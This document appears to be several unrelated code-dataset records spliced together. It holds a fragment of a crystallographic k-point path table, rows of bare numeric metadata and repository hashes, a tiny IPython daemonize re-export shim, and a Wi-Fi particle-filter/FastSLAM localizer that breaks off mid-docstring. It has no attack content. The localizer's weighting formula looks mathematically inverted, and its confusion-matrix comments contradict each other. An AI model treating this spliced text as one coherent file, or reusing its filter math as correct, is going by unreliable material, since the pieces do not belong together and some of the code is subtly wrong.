cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "X": [0.5, 0.0, 0.5], "L": [0.5, 0.5, 0.5], "W": [0.5,0.25,0.75], } ] }, 197: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "H": [0.5,-0.5, 0.5], "P": [0.25,0.25,0.25], "PA":[-0.25,-0.25,0.75], "N": [0.0, 0.0, 0.5], } ] }, 198: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "R": [0.5, 0.5, 0.5], "M": [0.5, 0.5, 0.0], "X": [0.0, 0.5, 0.0], } ] }, 199: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "H": [0.5,-0.5, 0.5], "P": [0.25,0.25,0.25], "PA":[-0.25,-0.25,0.75], "N": [0.0, 0.0, 0.5], } ] }, 200: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "H": [0.5,-0.5, 0.5], "P": [0.25,0.25,0.25], "PA":[-0.25,-0.25,0.75], "N": [0.0, 0.0, 0.5], } ] }, 201: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "H": [0.5,-0.5, 0.5], "P": [0.25,0.25,0.25], "PA":[-0.25,-0.25,0.75], "N": [0.0, 0.0, 0.5], } ] }, 202: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "X": [0.5, 0.0, 0.5], "L": [0.5, 0.5, 0.5], "W": [0.5,0.25,0.75], } ] }, 203: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "X": [0.5, 0.0, 0.5], "L": [0.5, 0.5, 0.5], "W": [0.5,0.25,0.75], } ] }, 204: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "H": [0.5,-0.5, 0.5], "P": [0.25,0.25,0.25], "N": [0.0, 0.0, 0.5], } ] }, 205: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "R": [0.5, 0.5, 0.5], "M": [0.5, 0.5, 0.0], "X": [0.0, 0.5, 0.0], } ], "kpath": [ ["R-GM-X-M-R-X"], ] }, 206: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "H": [0.5,-0.5, 0.5], "P": [0.25,0.25,0.25], "N": [0.0, 0.0, 0.5], } ] }, 207: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "R": [0.5, 0.5, 0.5], "M": [0.5, 0.5, 0.0], "X": [0.0, 0.5, 0.0], } ] }, 208: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "R": [0.5, 0.5, 0.5], "M": [0.5, 0.5, 0.0], "X": [0.0, 0.5, 0.0], } ] }, 209: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "X": [0.5, 0.0, 0.5], "L": [0.5, 0.5, 0.5], "W": [0.5,0.25,0.75], } ] }, 210: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "X": [0.5, 0.0, 0.5], "L": [0.5, 0.5, 0.5], "W": [0.5,0.25,0.75], } ] }, 211: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "H": [0.5,-0.5, 0.5], "P": [0.25,0.25,0.25], "N": [0.0, 0.0, 0.5], } ] }, 212: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "R": [0.5, 0.5, 0.5], "M": [0.5, 0.5, 0.0], "X": [0.0, 0.5, 0.0], } ] }, 213: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "R": [0.5, 0.5, 0.5], "M": [0.5, 0.5, 0.0], "X": [0.0, 0.5, 0.0], } ] }, 214: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "H": [0.5,-0.5, 0.5], "P": [0.25,0.25,0.25], "N": [0.0, 0.0, 0.5], } ] }, 215: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "R": [0.5, 0.5, 0.5], "M": [0.5, 0.5, 0.0], "X": [0.0, 0.5, 0.0], } ] }, 216: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "X": [0.5, 0.0, 0.5], "L": [0.5, 0.5, 0.5], "W": [0.5,0.25,0.75], "K":[0.375,0.375,0.75], }, ], "kpath": [ [ "W-L-GM-X-W-K", ], ] }, 217: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "H": [0.5,-0.5, 0.5], "P": [0.25,0.25,0.25], "PA": [-0.25,-0.25,0.75], "N": [0.0, 0.0, 0.5] }, ] }, 218: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "R": [0.5, 0.5, 0.5], "M": [0.5, 0.5, 0.0], "X": [0.0, 0.5, 0.0] }, ] }, 219: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "X": [0.5, 0.0, 0.5], "L": [0.5, 0.5, 0.5], "W": [0.5,0.25,0.75] }, ] }, 220: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "H": [0.5,-0.5, 0.5], "P": [0.25,0.25,0.25], "PA": [-0.25,-0.25,0.75], "N": [0.0, 0.0, 0.5] }, ] }, 221: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "R": [0.5, 0.5, 0.5], # vertice "M": [0.5, 0.5, 0.0], # edge center "X": [0.0, 0.5, 0.0], # face center }, ], "kpath": [ ["GM-X-M-GM-R-X M-R"], # AFLOW ], }, 222: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "R": [0.5, 0.5, 0.5], "M": [0.5, 0.5, 0.0], "X": [0.0, 0.5, 0.0] }, ], "kpath": [ ["GM-X-M-GM-R-X M-R"], # AFLOW ], }, 223: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "R": [0.5, 0.5, 0.5], "M": [0.5, 0.5, 0.0], "X": [0.0, 0.5, 0.0] }, ], "kpath": [ ["GM-X-M-GM-R-X M-R"], # AFLOW ], }, 224: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "R": [0.5, 0.5, 0.5], "M": [0.5, 0.5, 0.0], "X": [0.0, 0.5, 0.0] }, ], "kpath": [ ["GM-X-M-GM-R-X M-R"], # AFLOW ], }, 225: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "X": [0.5, 0.0, 0.5], "L": [0.5, 0.5, 0.5], "W": [0.5,0.25,0.75] }, ] }, 226: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "X": [0.5, 0.0, 0.5], "L": [0.5, 0.5, 0.5], "W": [0.5,0.25,0.75] }, ] }, 227: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "X": [0.5, 0.0, 0.5], "L": [0.5, 0.5, 0.5], "W": [0.5,0.25,0.75] }, ] }, 228: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "X": [0.5, 0.0, 0.5], "L": [0.5, 0.5, 0.5], "W": [0.5,0.25,0.75] }, ], "kpath": [ [], ] }, 229: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "H": [0.5,-0.5, 0.5], "P": [0.25,0.25,0.25], "N": [0.0, 0.0, 0.5] }, ] }, 230: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "H": [0.5,-0.5, 0.5], "P": [0.25,0.25,0.25], "N": [0.0, 0.0, 0.5] }, ] } }
26.766337
105
0.200974
13,634
94,619
1.36519
0.026625
0.439693
0.41326
0.310106
0.918444
0.91377
0.911299
0.904798
0.902917
0.902541
0
0.266046
0.556072
94,619
3,534
106
26.773911
0.177078
0.009966
0
0.627255
0
0
0.049476
0.000224
0
0
0
0.000283
0
1
0.002004
false
0
0.000286
0
0.005153
0
0
0
1
null
1
1
1
1
1
1
1
1
1
0
1
1
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
13
c260d2403a2bb52ba808c769be2fe29324243aa8
166
py
Python
packages/python/yap_kernel/yap_ipython/utils/daemonize.py
ryandesign/yap
9a50d1a3d985ec559ebfbb8e9f4d4c6b88b30214
[ "Artistic-1.0-Perl", "ClArtistic" ]
90
2015-03-09T01:24:15.000Z
2022-02-24T13:56:25.000Z
packages/python/yap_kernel/yap_ipython/utils/daemonize.py
ryandesign/yap
9a50d1a3d985ec559ebfbb8e9f4d4c6b88b30214
[ "Artistic-1.0-Perl", "ClArtistic" ]
52
2016-02-14T08:59:37.000Z
2022-03-14T16:39:35.000Z
packages/python/yap_kernel/yap_ipython/utils/daemonize.py
ryandesign/yap
9a50d1a3d985ec559ebfbb8e9f4d4c6b88b30214
[ "Artistic-1.0-Perl", "ClArtistic" ]
27
2015-11-19T02:45:49.000Z
2021-11-25T19:47:58.000Z
from warnings import warn warn("yap_ipython.utils.daemonize has moved to ipyparallel.apps.daemonize", stacklevel=2) from ipyparallel.apps.daemonize import daemonize
33.2
89
0.837349
23
166
6
0.652174
0.217391
0.347826
0
0
0
0
0
0
0
0
0.006623
0.090361
166
4
90
41.5
0.907285
0
0
0
0
0
0.403614
0.319277
0
0
0
0
0
1
0
true
0
0.666667
0
0.666667
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
c28ebb519de9bc9d9ac37cfb68bb3d8715cb4b51
31,290
py
Python
include/localize.py
sahibdhanjal/DeepLocNet
a3a5973a0cb549d0a16f17b96a9c78c200cf0c7e
[ "MIT" ]
27
2019-04-10T17:49:18.000Z
2022-03-21T23:25:35.000Z
include/localize.py
guhaopython/DeepLocNet
a3a5973a0cb549d0a16f17b96a9c78c200cf0c7e
[ "MIT" ]
null
null
null
include/localize.py
guhaopython/DeepLocNet
a3a5973a0cb549d0a16f17b96a9c78c200cf0c7e
[ "MIT" ]
15
2019-04-10T17:49:19.000Z
2022-03-08T13:53:35.000Z
import math, torch import numpy as np from numpy.random import normal as normrnd from scipy.stats import multivariate_normal, norm from scipy.linalg import sqrtm, expm from pdb import set_trace as bp from include.DNN import DNN import matplotlib.pyplot as plt import matplotlib.animation as animation from include.dataStructures.particle import Particle class localize: def __init__(self, numP, su, sz, distMap, mat, wayPts, R, dim, useClas, hardClas, modelpath="./models/best.pth"): self.np = numP self.sz = sz self.dists = distMap self.dim = dim self.wayPts = wayPts self.pts = self.convert(wayPts) self.nAP = mat.numAPs self.tx = mat.Tx self.R = R self.start = self.wayPts[0] self.su = su self.path = [] self.APLocs = [] self.IDs = [] self.use = useClas self.hard = hardClas self.modelpath = modelpath self.model = None self.confidence = [0, 0, 0, 0] # true positive, false positive, true negative, false negative if self.dim == 2: self.su = su[0:2] if self.use: self.load_model() def print(self, samples): for i in range(self.np): print("pose: ", samples[i].pose, " | weight: ", samples[i].w) def distance(self, x, y): if len(x)==3 and len(y)==3: return math.sqrt( (x[1]-y[1])**2 + (x[0]-y[0])**2 + (x[2]-y[2])**2 ) else: return math.sqrt( (x[1]-y[1])**2 + (x[0]-y[0])**2 ) def MSE(self): mse = 0 for i in range(len(self.pts)): mse += self.distance(self.wayPts[i], self.path[i]) mse = mse/len(self.pts) return mse def getCDF(self): cdf = [0 for x in range(len(self.pts))] for i in range(len(self.pts)): cdf[i] = self.distance(self.wayPts[i], self.path[i]) return cdf def distrib(self): start = self.wayPts[0] ; samples = [] if self.dim == 2: start = [start[0], start[1]] if self.dim == 3: start = start for _ in range(self.np): samples.append(Particle(start, 1/self.np)) return samples def convert(self, pts): n = len(pts) rtPts = [] for i in range(1, n): dx = pts[i][0] - pts[i-1][0] dy = pts[i][1] - pts[i-1][1] if self.dim==2: rtPts.append([dx, dy]) if self.dim==3: dz = pts[i][2] - pts[i-1][2] ; rtPts.append([dx, dy, dz]) return rtPts ''' load pytorch model and save dict ''' def load_model(self): model = DNN() path = self.modelpath checkpoint = torch.load(path) model.load_state_dict(checkpoint['state_dict']) self.model = model self.model.eval() ''' classify into LOS/NLOS ''' def classify(self, rssi, euc): inp = torch.tensor([rssi, euc]) out = self.model(inp.float()) pred = 1 if (out[1]>out[0]) else 0 return pred ''' weighting using the normpdf subroutine ''' def getWeight(self, dz): norpdf = 1 for i in range(len(dz)): if dz[i]!=0: norpdf *= norm.pdf(dz[i], 0, self.sz[i]) return norpdf ''' weighting using the mvnpdf subroutine ''' def getMultiWeight(self, dz): idx = [i for i, e in enumerate(dz) if e != 0] val = [] ; sig = [] if len(idx)==0: return 1/self.np for i in idx: val.append(dz[i]) sig.append(self.sz[i]) mvn = multivariate_normal([0]*len(idx), np.diag(sig)) return mvn.pdf(val) ''' return is not required as python works on pass-by-reference and there is no way of emulating pass-by-value ''' def motion_model(self, samples, point, su): for i in range(self.np): dx = point[0] - normrnd(0, su[0]) dy = point[1] - normrnd(0, su[1]) if self.dim == 2: pose = [samples[i].pose[0] + dx, samples[i].pose[1] + dy] if self.dim == 3: dz = point[2] - normrnd(0, su[2]) if self.dim == 3: pose = [samples[i].pose[0] + dx, samples[i].pose[1] + dy, samples[i].pose[2] + dz] samples[i].pose = pose ''' measurement model for the particle filter label for dMap = 1 : NLOS , 0 : LOS ''' def measure_model(self, samples, z): totalWt = 0 ; nAP = len(z) for i in range(self.np): dz = [0 for x in range(nAP)] for j in range(nAP): tx = self.tx[j] ; pos = samples[i].pose d = self.distance(tx, pos) if d <= self.R: if self.use: if self.hard: label = self.classify(z[j].rssi, d) # confidence matrix calculation if label==0 and z[j].label==0: self.confidence[0]= self.confidence[0]+1 # true positive elif label==0 and z[j].label==1: self.confidence[1]= self.confidence[1]+1 # false negative elif label==1 and z[j].label==1: self.confidence[2]= self.confidence[2]+1 # true negative elif label==1 and z[j].label==0: self.confidence[3]= self.confidence[3]+1 # false positive if label==0: dz[j] = abs(z[j].rssi-d) else: inp = torch.tensor([z[j].rssi, d]) out = self.model(inp.float()).detach().numpy() dz[j] = out[0]*abs(z[j].rssi-d) + out[1]*abs(z[j].rssi - normrnd(self.R,3)) # confidence matrix calculation if out[0]>out[1] and z[j].label==0: self.confidence[0]= self.confidence[0]+1 # true positive elif out[0]>out[1] and z[j].label==1: self.confidence[1]= self.confidence[1]+1 # false positive elif out[0]<out[1] and z[j].label==1: self.confidence[2]= self.confidence[2]+1 # true negative elif out[0]<out[1] and z[j].label==0: self.confidence[3]= self.confidence[3]+1 # false negative else: dz[j] = abs(z[j].rssi-d) wt = self.getWeight(dz) samples[i].w *= wt totalWt += wt if totalWt!=0: for i in range(self.np): samples[i].w = samples[i].w / totalWt else: for i in range(self.np): samples[i].w = 1/self.np ''' measurement model for fast slam v1 label for dMap = 1 : NLOS , 0 : LOS ''' def fast_measure_model(self, samples, z): if self.dim == 2: Qt = np.diag([10,10]) if self.dim == 3: Qt = np.diag([10,10,10]) Qt = Qt.tolist() ; nAP = len(z) ; totWt = 0 for i in range(self.np): for j in range(nAP): tx = np.array(self.tx[j]) ; pos = np.array(samples[i].pose) d = self.distance(tx, pos) if d <= self.R: # initialize particle map if j not in samples[i].mapID: samples[i].mapMu.append(tx) samples[i].mapSigma.append(Qt) samples[i].mapID.append(j) samples[i].hashMap[j] = len(samples[i].mapID) - 1 samples[i].w = 1/self.np # update particle map else: ID = samples[i].hashMap[j] # prediction step muHat = samples[i].mapMu[ID] sigHat = np.array(samples[i].mapSigma[ID]) # update step dHat = self.distance(pos, muHat) # use classifier or not if self.use: if self.hard: label = self.classify(z[j].rssi, dHat) # confidence matrix calculation if label==0 and z[j].label==0: self.confidence[0]= self.confidence[0]+1 # true positive elif label==0 and z[j].label==1: self.confidence[1]= self.confidence[1]+1 # false negative elif label==1 and z[j].label==1: self.confidence[2]= self.confidence[2]+1 # true negative elif label==1 and z[j].label==0: self.confidence[3]= self.confidence[3]+1 # false positive if label==0: innov = abs(z[j].rssi-dHat) else: continue else: inp = torch.tensor([z[j].rssi, dHat]) out = self.model(inp.float()).detach().numpy() innov = out[0]*abs(z[j].rssi - dHat) + out[1]*abs(z[j].rssi - normrnd(self.R,3)) # confidence matrix calculation if out[0]>out[1] and z[j].label==0: self.confidence[0]= self.confidence[0]+1 # true positive elif out[0]>out[1] and z[j].label==1: self.confidence[1]= self.confidence[1]+1 # false negative elif out[0]<out[1] and z[j].label==1: self.confidence[2]= self.confidence[2]+1 # true negative elif out[0]<out[1] and z[j].label==0: self.confidence[3]= self.confidence[3]+1 # false positive else: innov = abs(z[j].rssi - dHat) dx = muHat[0] - pos[0] ; dy = muHat[1] - pos[1] den = math.sqrt(dx**2 + dy**2) H = np.array([dx/den, dy/den]) if self.dim==3: dz = muHat[2] - pos[2] den = math.sqrt(dx**2 + dy**2 + dz**2) H = np.array([dx/den, dy/den, dz/den]) try: Q = np.matmul(np.matmul(H, sigHat), H) + self.sz[j] except: bp() # Kalman Gain K = np.matmul(sigHat, H)/Q # update pose/ covar mu = muHat + innov*K K = K.reshape((self.dim,1)) sig = (np.identity(self.dim) - K*H)*sigHat samples[i].mapMu[ID] = mu.reshape((self.dim,)) samples[i].mapSigma[ID] = sig.tolist() samples[i].w = max(samples[i].w, math.sqrt(2*math.pi*Q)*math.exp(-0.5*(innov**2)/Q)) totWt += samples[i].w # normalize the weights if totWt==0: for i in range(self.np): samples[i].w = 1/self.np else: for i in range(self.np): samples[i].w = samples[i].w/totWt ''' resampling algorithm applicable to both particle filter and fast slam because of common structure of particle ''' def resample(self, samples): idx = [0]*self.np ; Q = [0]*self.np ; Q[0] = samples[0].w for i in range(1, self.np): Q[i] = samples[i].w + Q[i-1] t = np.random.rand(self.np+1, 1) T = np.sort(t, axis=0) T[self.np] = 1 ; i,j = 0,0 while i<self.np and j<self.np: if T[i] < Q[j]: idx[i] = j i += 1 else: j += 1 if len(set(idx))>0.2*self.np: for i in range(self.np): samples[i].pose = samples[idx[i]].pose samples[i].w = 1/self.np samples[i].mapMu = samples[idx[i]].mapMu samples[i].mapID = samples[idx[i]].mapID samples[i].mapSigma = samples[idx[i]].mapSigma samples[i].hashMap = samples[idx[i]].hashMap ''' Calculates the effective number of particles in the sampled distribution. ''' def neff(self, samples): wghts = [0]*self.np ; totWt = 0 for i in range(self.np): wghts[i] = samples[i].w totWt += samples[i].w den = 0 for i in range(self.np): wghts[i] = (wghts[i]/totWt)**2 den += wghts[i] return 1/den ''' Calculates weighted mean and variance of the sample distribution ''' def meanVar(self, samples): totWt = 0 ; mu = [0 for _ in range(self.dim)] ; sig = np.zeros((self.dim,self.dim)) for i in range(self.np): mu[0] += samples[i].pose[0] mu[1] += samples[i].pose[1] if self.dim==3: mu[2] += samples[i].pose[2] totWt += samples[i].w if self.dim==2: mu = [mu[0]/self.np, mu[1]/self.np] if self.dim==3: mu = [mu[0]/self.np, mu[1]/self.np, mu[2]/self.np] for i in range(self.np): if self.dim==2: x = np.array([ samples[i].pose[0]-mu[0] , samples[i].pose[1]-mu[1] ]) if self.dim==3: x = np.array([ samples[i].pose[0]-mu[0] , samples[i].pose[1]-mu[1] , samples[i].pose[2]-mu[2] ]) sig += np.matmul(x.reshape((self.dim,1)),x.reshape((1,self.dim))) sig = sig/self.np return mu, sig ''' Calculates weighted mean and variance of the sample distribution ''' def weightedMeanVar(self, samples): totWt = 0 ; mu = [0 for _ in range(self.dim)] ; sig = np.zeros((self.dim,self.dim)) for i in range(self.np): mu[0] += samples[i].w*samples[i].pose[0] mu[1] += samples[i].w*samples[i].pose[1] if self.dim==3: mu[2] += samples[i].w*samples[i].pose[2] totWt += samples[i].w if self.dim==2: mu = [mu[0]/totWt, mu[1]/totWt] if self.dim==3: mu = [mu[0]/totWt, mu[1]/totWt, mu[2]/totWt] for i in range(self.np): if self.dim==2: x = np.array([ samples[i].pose[0]-mu[0] , samples[i].pose[1]-mu[1] ]) if self.dim==3: x = np.array([ samples[i].pose[0]-mu[0] , samples[i].pose[1]-mu[1] , samples[i].pose[2]-mu[2] ]) sig += samples[i].w*np.matmul(x.reshape((self.dim,1)),x.reshape((1,self.dim))) sig = sig/totWt return mu, sig ''' Get the maximum weighted particle and use it to calculate the IDs of the APs discovered & the locations of the discovered APs ''' def getAPLocs(self, samples): maxWeight = -9999999999 ; idx = 0 for i in range(self.np): if samples[i].w > maxWeight: maxWeight = samples[i].w idx = i self.APLocs = samples[idx].mapMu self.IDs = samples[idx].mapID ''' Plot the particle poses for each particle. Can only be used for debugging as of now as animation support is yet to be added ''' def plot(self, samples): x = [] ; y = [] for i in range(self.np): x.append(samples[i].pose[0]) y.append(samples[i].pose[1]) plt.plot(x,y,'c.') mXY,_ = self.meanVar(samples) wmXY,_ = self.weightedMeanVar(samples) plt.plot(mXY[0],mXY[1],'ro') plt.plot(wmXY[0],wmXY[1],'bo') plt.xlim([-100,300]) plt.ylim([-100,300]) plt.show() ''' The main Particle filter class ''' def particleFilter(self): self.path.append(self.wayPts[0]) samples = self.distrib() print("Running Particle Filter ..") for i in range(len(self.pts)): # provide action update self.motion_model(samples, self.pts[i], self.su) # provide measurement update self.measure_model(samples, self.dists[i]) # resample only when number of effective particle drops if self.neff(samples) <= 1/3*self.np: self.resample(samples) mXY, _ = self.weightedMeanVar(samples) self.path.append(mXY) print("Particle Filter has finished running ..") ''' The main Fast SLAM v1 class ''' def FastSLAM(self): self.path.append(self.wayPts[0]) samples = self.distrib() print("Running Fast SLAM ..") for i in range(len(self.pts)): # provide action update self.motion_model(samples, self.pts[i], self.su) # provide measurement update self.fast_measure_model(samples, self.dists[i]) # resample only when number of effective particle drops if self.neff(samples) <= 1/3*self.np: self.resample(samples) mXY, _ = self.weightedMeanVar(samples) self.path.append(mXY) self.getAPLocs(samples) print("FastSLAM has finished running ..") ''' #################################################################################### #################################################################################### #################################################################################### #################################################################################### #################################################################################### ''' ''' Localizer for Experimental Setup: 1. Contains only FastSlam 2. Measurement Model updated to read data from experiments ''' class localizeExp: def __init__(self, numP, su, sz, map, useClas, hardClas, modelpath="./models/best.pth"): self.np = numP self.sz = sz self.dim = map.dim self.wayPts = map.wayPts self.pts = self.convert(self.wayPts) self.dim = map.dim self.TXName = map.TXName self.numPts = map.numPts self.numAPs = map.numAPs self.maxZ = map.maxZ self.dists = map.distMap self.name2MAC = map.name2MAC self.name2Pos = map.name2Pos self.MAC2Name = map.MAC2Name self.start = self.wayPts[0][:2] self.su = su self.path = [] self.APLocs = [] self.IDs = [] self.use = useClas self.hard = hardClas self.modelpath = modelpath self.model = None self.confidence = [0, 0, 0, 0] # true positive, false positive, true negative, false negative if self.dim == 2: self.su = su[0:2] if self.use: self.load_model() def print(self, samples): for i in range(self.np): print("pose: ", samples[i].pose, " | weight: ", samples[i].w) def distance(self, x, y): if len(x)==3 and len(y)==3: return math.sqrt( (x[1]-y[1])**2 + (x[0]-y[0])**2 + (x[2]-y[2])**2 ) else: return math.sqrt( (x[1]-y[1])**2 + (x[0]-y[0])**2 ) def MSE(self): mse = 0 for i in range(len(self.pts)): mse += self.distance(self.wayPts[i], self.path[i]) mse = mse/len(self.pts) return mse def getCDF(self): cdf = [0 for x in range(len(self.pts))] for i in range(len(self.pts)): cdf[i] = self.distance(self.wayPts[i], self.path[i]) return cdf def distrib(self): start = self.wayPts[0] ; samples = [] if self.dim == 2: start = [start[0], start[1]] if self.dim == 3: start = start for _ in range(self.np): samples.append(Particle(start, 1/self.np)) return samples def convert(self, pts): n = len(pts) rtPts = [] for i in range(1, n): dx = pts[i][0] - pts[i-1][0] dy = pts[i][1] - pts[i-1][1] if self.dim==2: rtPts.append([dx, dy]) if self.dim==3: dz = pts[i][2] - pts[i-1][2] ; rtPts.append([dx, dy, dz]) return rtPts ''' load pytorch model and save dict ''' def load_model(self): model = DNN() path = self.modelpath checkpoint = torch.load(path) model.load_state_dict(checkpoint['state_dict']) self.model = model self.model.eval() ''' classify into LOS/NLOS ''' def classify(self, rssi, euc): inp = torch.tensor([rssi, euc]) out = self.model(inp.float()) pred = 1 if (out[1]>out[0]) else 0 return pred ''' weighting using the normpdf subroutine ''' def getWeight(self, dz): norpdf = 1 for i in range(len(dz)): if dz[i]!=0: norpdf *= norm.pdf(dz[i], 0, self.sz[i]) return norpdf def rssi2Dist(self, rssi): ''' https://stackoverflow.com/questions/11217674/how-to-calculate-distance-from-wifi-router-using-signal-strength http://pylayers.github.io/pylayers/notebook/2-AP/CoverageMetis.html ''' if abs(rssi) > 60: exp = (abs(rssi) - 32.44)/20 else : exp = (abs(rssi) - 12.55)/20 val = (10**exp) / 60 return val ''' weighting using the mvnpdf subroutine ''' def getMultiWeight(self, dz): idx = [i for i, e in enumerate(dz) if e != 0] val = [] ; sig = [] if len(idx)==0: return 1/self.np for i in idx: val.append(dz[i]) sig.append(self.sz[i]) mvn = multivariate_normal([0]*len(idx), np.diag(sig)) return mvn.pdf(val) ''' return is not required as python works on pass-by-reference and there is no way of emulating pass-by-value ''' def motion_model(self, samples, point, su): for i in range(self.np): dx = point[0] - normrnd(0, su[0]) dy = point[1] - normrnd(0, su[1]) pose = [samples[i].pose[0] + dx, samples[i].pose[1] + dy] samples[i].pose = pose ''' measurement model for fast slam v1 label for dMap = 1 : NLOS , 0 : LOS ''' def fast_measure_model(self, samples, wpID): Qt = np.diag([5,5]) Qt = Qt.tolist() ; totWt = 0 print("Iteration: " , wpID, end='\r') for i in range(self.np): for j in range(len(self.name2Pos)): name = self.TXName[j] tx = np.array(self.name2Pos[name]) pos = np.array(samples[i].pose) # initialize particle map if name not in samples[i].mapID: samples[i].mapMu.append(tx[:2]) samples[i].mapSigma.append(Qt) samples[i].mapID.append(name) samples[i].hashMap[name] = len(samples[i].mapID) - 1 samples[i].w = 1/self.np # update particle map else: ID = samples[i].hashMap[name] # prediction step muHat = samples[i].mapMu[ID] sigHat = np.array(samples[i].mapSigma[ID]) # update step dHat = self.distance(pos, muHat) rssiDist = self.dists[wpID][j].rssi # use classifier or not if self.use: if self.hard: label = self.classify(rssiDist, dHat) if label==0: innov = abs(rssiDist-dHat) else: continue else: inp = torch.tensor([rssiDist, dHat]) out = self.model(inp.float()).detach().numpy() innov = out[0]*abs(rssiDist - dHat) + out[1]*abs(rssiDist - normrnd(15,3)) else: innov = abs(rssiDist - dHat) dx = muHat[0] - pos[0] ; dy = muHat[1] - pos[1] den = math.sqrt(dx**2 + dy**2) H = np.array([dx/den, dy/den]) try: Q = np.matmul(np.matmul(H, sigHat), H) + self.sz[j] except: bp() # Kalman Gain K = np.matmul(sigHat, H)/Q # update pose/ covar mu = muHat + innov*K K = K.reshape((self.dim,1)) sig = (np.identity(self.dim) - K*H)*sigHat samples[i].mapMu[ID] = mu.reshape((self.dim,)) samples[i].mapSigma[ID] = sig.tolist() samples[i].w = max(samples[i].w, math.sqrt(2*math.pi*Q)*math.exp(-0.5*(innov**2)/Q)) totWt += samples[i].w # normalize the weights if totWt==0: for i in range(self.np): samples[i].w = 1/self.np else: for i in range(self.np): samples[i].w = samples[i].w/totWt ''' resampling algorithm applicable to both particle filter and fast slam because of common structure of particle ''' def resample(self, samples): idx = [0]*self.np ; Q = [0]*self.np ; Q[0] = samples[0].w for i in range(1, self.np): Q[i] = samples[i].w + Q[i-1] t = np.random.rand(self.np+1, 1) T = np.sort(t, axis=0) T[self.np] = 1 ; i,j = 0,0 while i<self.np and j<self.np: if T[i] < Q[j]: idx[i] = j i += 1 else: j += 1 if len(set(idx))>0.2*self.np: for i in range(self.np): samples[i].pose = samples[idx[i]].pose samples[i].w = 1/self.np samples[i].mapMu = samples[idx[i]].mapMu samples[i].mapID = samples[idx[i]].mapID samples[i].mapSigma = samples[idx[i]].mapSigma samples[i].hashMap = samples[idx[i]].hashMap ''' Calculates the effective number of particles in the sampled distribution. ''' def neff(self, samples): wghts = [0]*self.np ; totWt = 0 for i in range(self.np): wghts[i] = samples[i].w totWt += samples[i].w den = 0 for i in range(self.np): wghts[i] = (wghts[i]/totWt)**2 den += wghts[i] return 1/den ''' Calculates weighted mean and variance of the sample distribution ''' def meanVar(self, samples): totWt = 0 ; mu = [0 for _ in range(self.dim)] ; sig = np.zeros((self.dim,self.dim)) for i in range(self.np): mu[0] += samples[i].pose[0] mu[1] += samples[i].pose[1] if self.dim==3: mu[2] += samples[i].pose[2] totWt += samples[i].w if self.dim==2: mu = [mu[0]/self.np, mu[1]/self.np] if self.dim==3: mu = [mu[0]/self.np, mu[1]/self.np, mu[2]/self.np] for i in range(self.np): if self.dim==2: x = np.array([ samples[i].pose[0]-mu[0] , samples[i].pose[1]-mu[1] ]) if self.dim==3: x = np.array([ samples[i].pose[0]-mu[0] , samples[i].pose[1]-mu[1] , samples[i].pose[2]-mu[2] ]) sig += np.matmul(x.reshape((self.dim,1)),x.reshape((1,self.dim))) sig = sig/self.np return mu, sig ''' Calculates weighted mean and variance of the sample distribution ''' def weightedMeanVar(self, samples): totWt = 0 ; mu = [0 for _ in range(self.dim)] ; sig = np.zeros((self.dim,self.dim)) for i in range(self.np): mu[0] += samples[i].w*samples[i].pose[0] mu[1] += samples[i].w*samples[i].pose[1] if self.dim==3: mu[2] += samples[i].w*samples[i].pose[2] totWt += samples[i].w if self.dim==2: mu = [mu[0]/totWt, mu[1]/totWt] if self.dim==3: mu = [mu[0]/totWt, mu[1]/totWt, mu[2]/totWt] for i in range(self.np): if self.dim==2: x = np.array([ samples[i].pose[0]-mu[0] , samples[i].pose[1]-mu[1] ]) if self.dim==3: x = np.array([ samples[i].pose[0]-mu[0] , samples[i].pose[1]-mu[1] , samples[i].pose[2]-mu[2] ]) sig += samples[i].w*np.matmul(x.reshape((self.dim,1)),x.reshape((1,self.dim))) sig = sig/totWt return mu, sig ''' Get the maximum weighted particle and use it to calculate the IDs 